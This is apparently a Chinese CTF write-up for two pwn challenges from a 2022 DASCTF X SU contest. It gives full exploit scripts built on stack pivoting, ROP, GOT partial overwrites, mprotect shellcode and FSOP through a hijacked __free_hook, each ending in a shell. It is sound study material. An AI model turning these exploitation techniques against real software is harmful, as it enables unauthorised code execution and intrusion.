2022DASCTFXSU三月春季挑戰賽-pwn-wp
2022DASCTFXSU三月春季挑戰賽-pwn-wp
今天終於有空來寫下wp
。最後一題的CVE-2022-0185
在學習中,未完待續。
checkin
這題最開始想用one gadget
去做,後來發現libc-2.31
的one gadget
都比較嚴格,於是換成puts
洩露再讀取輸入執行system("/bin/sh")
。
checksec
漏洞點
棧溢位,可溢位0x10
位元組,覆蓋掉rbp
ret
。
利用思路
觀察0x4011BF
處的彙編可知,rax
等於rbp-0xb0
,然後在0x4011CB
處將rax
賦值給了rsi
,因此,只要控制了rbp
,相當於可以在任意地址處寫入0xb0
個位元組。
至少兩種思路,主要後面不一樣。
思路一:
-
棧遷移到
bss
段 -
控制
rbp
後再進入0x4011BF
,然後在bss
段上rop
-
使用
partial overwrite
修改read@got
,使其為syscall; ret
。這裡由於read
的地址偏移為0xff0
,加個0x10
直接進位了,所以還有半個位元組需要猜測一下,概率為1/16
-
使用
read
控制rax
為10
,並修改read@got
,隨即利用ret2csu
執行mprotect(bss, 0x1000, 7)
-
跳轉到準備好的
shellcode
執行獲取shell
思路二:
- 棧遷移到
bss
段 - 控制
rbp
後再進入0x4011BF
,然後在bss
段上rop
- 使用
magic gadget
:add [rbp-0x3d], ebx; ret
,將setvbuf@got
修改為puts
的地址 - 洩露出
read
地址,計算得到system
地址 - 再次
read
讀取輸入,跳轉執行system('/bin/sh')
即可
EXP
#!/usr/bin/python3 # -*- encoding: utf-8 -*- # author: roderick from pwncli import * cli_script() io: tube = gift['io'] elf: ELF = gift['elf'] libc: ELF = gift['libc'] if gift.remote: libc = ELF('./libc.so.6') gift['libc'] = libc pop_rdi_ret = CurrentGadgets.pop_rdi_ret() pop_rsi_r15_ret = CurrentGadgets.pop_rsi_r15_ret() leave_ret = CurrentGadgets.leave_ret() magic = CurrentGadgets.magic_gadget() pop_rbp_ret = CurrentGadgets.pop_rbp_ret() ret = CurrentGadgets.ret() read_again = 0x4011bf bss_addr = 0x404080 + 0xa00 def exp_magic(): pop_rbx_rbp_r12131415 = 0x40124a # 棧遷移到bss段 payload = flat({ 0xa0: [ bss_addr+0xa0, read_again ] }) s(payload) libc_puts = libc.sym.puts libc_setvbuf = libc.sym.setvbuf offset = (libc_puts - libc_setvbuf) if libc_puts > libc_setvbuf else (0x100000000 + libc_puts - libc_setvbuf) # 修改setvbuf為puts payload = flat( { 0: [ pop_rbx_rbp_r12131415, offset, elf.got.setvbuf+0x3d, 0, 0, 0, 0, magic, ret, pop_rdi_ret, elf.got.read, elf.plt.setvbuf, pop_rbp_ret, bss_addr+0xa0, read_again ], 0xa0: [ bss_addr - 8, leave_ret ] } ) s(payload) read_addr = u64_ex(rl()[:-1]) libc_base = read_addr - libc.sym.read log_libc_base_addr(libc_base) libc.address = libc_base # 讀取輸入,執行system('/bin/sh') payload = flat({ 0:[ pop_rdi_ret, libc.search(b"/bin/sh").__next__(), libc.sym.system ], 0x70: leave_ret, 0xa0: [ bss_addr - 8, leave_ret ] }) s(payload) sleep(1) sl("cat /flag") m = rls("flag") if b"flag" in m: log_ex(f"Get flag: {m}") ia() def exp_partial_write(): bss_addr = elf.got.setvbuf # 棧遷移 layout = { 0xa0: [ bss_addr+0xa0, read_again ] } s(flat(layout)) # rop1 layout = { 0xa0: [ bss_addr, leave_ret ], 0: [ bss_addr+0x68, pop_rsi_r15_ret, elf.got.read-8, 0, elf.plt.read, 0x40124a, # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret 0, # rbx 2, # rbp bss_addr & ~0xfff, 0x1000, 7, elf.got.read, 0x401230, # csu up ShellcodeMall.amd64.execve_bin_sh ] } s(flat(layout)) s(b"a"*8 + p16(0x8000)) sleep(1) sl("cat /flag") m = rls("flag") if b"flag" in m: log_ex(f"Get flag: {m}") ia() if __name__ == "__main__": # for i in $(seq 1 20); do ./exp.py de ./checkin -nl ; done # try: # exp_partial_write() # except: # pass exp_magic()
打遠端:
爆破:
wedding
這題剛開始被libc
給坑了,最開始本地使用的是2.31-0ubuntu9.2_amd64
除錯的,這個版本的file_jump_table
是可寫的;但是遠端給的是2.31-0ubuntu9.7_amd64
,這個版本的file_jump_table
都是不可寫的。因為我最初使用的思路是改寫stdout->flags
為/bin/sh
,修改_IO_file_jumps->_IO_file_xsputn
為system
去拿shell
,所以那天上午爆破了好久都失敗了......所以以後,還是老老實實用給的libc
去除錯吧。除錯的時候建議關閉aslr
。
checksec
漏洞點
-
prepare
中沒有校驗offset
: -
revise
中沒有校驗index
:
建議把這個標識變數改一下,要不然wish/wlsh/w1sh
容易看花眼。。。
利用思路
題目給的條件為:
- 可以分配任意大小的記憶體
- 可以在任意偏移處覆蓋,但是隻能覆蓋為
0x135
或者0x1314
,覆蓋機會為3
次 - 可以在
heap
任意偏移處的指標寫入8
或者3
個位元組,各有1
次機會。
當然,上面說的任意也不是完全任意,受限於my_read
只讀取8
個位元組,所以實際能控制的偏移(數字)為:-9999999
到99999999
。
我們知道,在申請記憶體足夠大,大概大於128K
的時候,會呼叫mmap
對映虛擬記憶體頁,此時對映的虛擬記憶體頁會位於libc.so
對映空間的上方。此時的偏移可控,也就是可以修改libc.so
上的任意的資料,修改的內容為2
位元組,固定。
由於沒有地址,樸素的想法就是先洩露地址,因此,打_IO_2_1_stdout_
結構體去洩露地址。有地址後就好辦了,思路為:
-
申請大記憶體,利用任意偏移修改
stdout->flags
和stdout->_IO_write_base
,洩露地址並計算出PIE
基地址和libc
基地址 -
利用一個跳板,和兩次分別寫
8/3
位元組的機會,修改change3
和change8
為小負數,這樣就能繼續寫很多次。我選擇的跳板在0x3e20
偏移處,第一次可以寫8
個位元組,修改為任意地址,第二次就能將change3
修改為小負數然後,使用
0x4008
這個跳板,就可以把change8
也修改為小負數 -
繼續使用跳板,將
stderr->vtable
修改為_IO_str_jumps
;將_IO_2_1_stderr_+131
處修改為sh;
;將__free_hook
修改為system
;將stderr->flags
修改為0x80
;最後把bss
段上的stdout
修改為_IO_2_1_stderr_
。接著,在呼叫puts(xxx)
的時候,會呼叫stderr->vtable->_IO_file_xsput
,實際呼叫的是_IO_str_finish
,接著呼叫free(fp->_IO_buf_base)
,就是呼叫system("sh;")
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def prepare(size:int, offset:int=None):
if size > 0x7fffffff:
size -= (0x1 << 32)
if offset and offset > 0x7fffffff:
offset -= (0x1 << 32)
sla("your choice >> \n", "1")
sa("how much do you prepare>> \n", str(size).ljust(8, "\x00"))
if offset is not None:
sa(">> \n", str(offset).ljust(8, "\x00"))
def revise(idx, data):
sla("your choice >> \n", "2")
sla("which packet you want to revise>> \n", str(idx))
sa("now write your wish>> \n", data)
# 呼叫mmap 分配到libc上方
# 修改stdout->flags
off_first = 0x42ff0
prepare(0x40000, off_first + libc.sym['_IO_2_1_stdout_'] + 1)
# 呼叫mmap 分配到libc上方
# 修改stdout->write_base
prepare(0x40000, off_first + 0x83ff0 - 0x42ff0 + libc.sym['_IO_2_1_stdout_'] + 0x20)
# 根據標誌尋找到地址
io.recvuntil(p64(0xfffffffffffffff8), timeout=10)
m1 = io.recvn(0x10)
code_addr = u64_ex(m1[:8])
libc_addr = u64_ex(m1[8:0x10])
code_base = code_addr - 0x4040
libc_base = libc_addr - 0x1f1530
log_libc_base_addr(libc_base)
log_code_base_addr(code_base)
if (libc_base >> 40) != 0x7f or ((code_base >> 40) != 0x55 and (code_base >> 40) != 0x56):
errlog_exit("Wrong addr")
libc.address = libc_base
# check
revise(-80, p64(code_base+0x4050+1))
revise(0x3ec, p16(0xffee)+p8(0xff))
revise(-19, p8(0x55))
revise(-19, p16(0xffee)+p8(0xff))
# _IO_2_1_stderr_
str_jumps_off = 0x1e9560
revise(-80, p64(libc.sym['_IO_2_1_stderr_'] + 216)) # stderr->vtable
revise(0x3ec, p32_ex(libc_base + str_jumps_off - 0x28)[:3])
revise(-80, p64(libc.sym['__free_hook']))
revise(0x3ec, p64(libc.sym.system)[:3])
revise(-80, p64(libc.sym['__free_hook']+3)) #
revise(0x3ec, p64(libc.sym.system)[3:6])
revise(-80, p64(libc.sym['__free_hook']+6)) #
revise(0x3ec, p64(libc.sym.system)[6:])
revise(-80, p64(libc.sym['_IO_2_1_stderr_'] + 131)) # stderr ->
revise(0x3ec, "sh;")
revise(-12, p8(0x80))
revise(-80, p64(code_base + 0x4020)) # stdout
revise(0x3ec, p64(libc.sym['_IO_2_1_stderr_'])[:3])
ia()
這裡使用0xfffffffffffffff8
來找地址,有程式碼段地址和libc
地址:
本地多試幾次就出來了:
遠端不知道是不是偏移不對,stdout
那裡一直沒有洩露,不知道啥情況。所以,這個大概率是打遠端失敗的非預期解了。
SU_message
CVE
除錯學習中, #TODO
這裡有出題人的出題報告:https://kagehutatsu.com/?p=551
引用與參考
1、My Blog
2、Ctf Wiki
3、pwncli